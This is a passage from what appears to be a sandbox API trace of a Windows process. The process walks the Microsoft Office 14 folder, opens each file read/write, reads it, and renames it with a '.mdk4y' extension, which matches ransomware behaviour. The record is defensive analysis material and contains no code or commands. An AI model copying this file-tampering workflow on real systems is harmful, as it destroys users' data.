lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xce, lpOverlapped=0x0) returned 1 [0191.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675100000) returned 1 [0191.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675100000) returned 1 [0191.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.mdk4y")) returned 1 [0191.522] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.522] AreFileApisANSI () returned 1 [0191.522] GetACP () returned 0x4e4 [0191.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE_F_COL.HXK", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTORE_F_COL.HXKHXK", lpUsedDefaultChar=0x37df4c) returned 16 [0191.523] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675300000) returned 1 [0191.523] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675400000) returned 1 [0191.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675400000) returned 1 [0191.524] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.mdk4y")) returned 1 [0191.525] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.525] AreFileApisANSI () returned 1 [0191.525] GetACP () returned 0x4e4 [0191.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE_K_COL.HXK", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTORE_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 16 [0191.525] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675600000) returned 1 [0191.526] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675700000) returned 1 [0191.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675700000) returned 1 [0191.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.mdk4y")) returned 1 [0191.528] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.528] AreFileApisANSI () returned 1 [0191.528] GetACP () returned 0x4e4 [0191.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK.CSS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NETWORK.CSSL.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0191.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675900000) returned 1 [0191.529] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0191.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677200000) returned 1 [0191.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677200000) returned 1 [0191.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.mdk4y")) returned 1 [0191.544] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.544] AreFileApisANSI () returned 1 [0191.544] GetACP () returned 0x4e4 [0191.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK1.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NETWORK1.VRD.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0191.544] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677500000) returned 1 [0191.545] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x734, lpOverlapped=0x0) returned 1 [0191.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677600000) returned 1 [0191.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677600000) returned 1 [0191.547] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.mdk4y")) returned 1 [0191.548] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.548] AreFileApisANSI () returned 1 [0191.548] GetACP () returned 0x4e4 [0191.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK2.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NETWORK2.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0191.548] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677800000) returned 1 [0191.548] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x866, lpOverlapped=0x0) returned 1 [0191.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826677900000) returned 1 [0191.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826678000000) returned 1 [0191.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.mdk4y")) returned 1 [0191.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.551] AreFileApisANSI () returned 1 [0191.551] GetACP () returned 0x4e4 [0191.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK3.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NETWORK3.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0191.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826678100000) returned 1 [0191.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcae, lpOverlapped=0x0) returned 1 [0191.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679100000) returned 1 [0191.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679100000) returned 1 [0191.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.mdk4y")) returned 1 [0191.563] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.563] AreFileApisANSI () returned 1 [0191.563] GetACP () returned 0x4e4 [0191.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCCMPVRD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OCCMPVRD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0191.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679400000) returned 1 [0191.564] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x468, lpOverlapped=0x0) returned 1 [0191.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679500000) returned 1 [0191.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679500000) returned 1 [0191.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.mdk4y")) returned 1 [0191.566] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.566] AreFileApisANSI () returned 1 [0191.566] GetACP () returned 0x4e4 [0191.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCMODVRD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OCMODVRD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0191.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679700000) returned 1 [0191.567] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x42c, lpOverlapped=0x0) returned 1 [0191.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679800000) returned 1 [0191.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826679800000) returned 1 [0191.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.mdk4y")) returned 1 [0191.569] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.569] AreFileApisANSI () returned 1 [0191.569] GetACP () returned 0x4e4 [0191.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFOWCI.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OFFOWCI.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0191.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826680000000) returned 1 [0191.570] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x81380, lpOverlapped=0x0) returned 1 [0191.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826683000000) returned 1 [0191.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826683000000) returned 1 [0191.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.mdk4y")) returned 1 [0191.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.606] AreFileApisANSI () returned 1 [0191.606] GetACP () returned 0x4e4 [0191.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS.HXS", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OIS.HXS.DLL", lpUsedDefaultChar=0x37df4c) returned 7 [0191.607] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826683800000) returned 1 [0191.608] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6fd04, lpOverlapped=0x0) returned 1 [0191.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826694900000) returned 1 [0191.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826694900000) returned 1 [0191.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.mdk4y")) returned 1 [0191.724] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.724] AreFileApisANSI () returned 1 [0191.724] GetACP () returned 0x4e4 [0191.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OISINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OISINTL.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0191.724] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826695500000) returned 1 [0191.725] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f998, lpOverlapped=0x0) returned 1 [0191.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826696800000) returned 1 [0191.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826696800000) returned 1 [0191.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.mdk4y")) returned 1 [0191.741] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.741] AreFileApisANSI () returned 1 [0191.741] GetACP () returned 0x4e4 [0191.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS_COL.HXC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OIS_COL.HXC", lpUsedDefaultChar=0x37df4c) returned 11 [0191.741] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697200000) returned 1 [0191.742] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x263, lpOverlapped=0x0) returned 1 [0191.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697300000) returned 1 [0191.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697300000) returned 1 [0191.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.mdk4y")) returned 1 [0191.745] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.745] AreFileApisANSI () returned 1 [0191.745] GetACP () returned 0x4e4 [0191.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS_COL.HXT", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OIS_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 11 [0191.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697600000) returned 1 [0191.746] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcb, lpOverlapped=0x0) returned 1 [0191.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697700000) returned 1 [0191.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826697700000) returned 1 [0191.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.mdk4y")) returned 1 [0191.749] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.749] AreFileApisANSI () returned 1 [0191.749] GetACP () returned 0x4e4 [0191.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS_F_COL.HXK", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OIS_F_COL.HXKHXK", lpUsedDefaultChar=0x37df4c) returned 13 [0191.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698000000) returned 1 [0191.750] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698100000) returned 1 [0191.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698100000) returned 1 [0191.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.mdk4y")) returned 1 [0191.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: 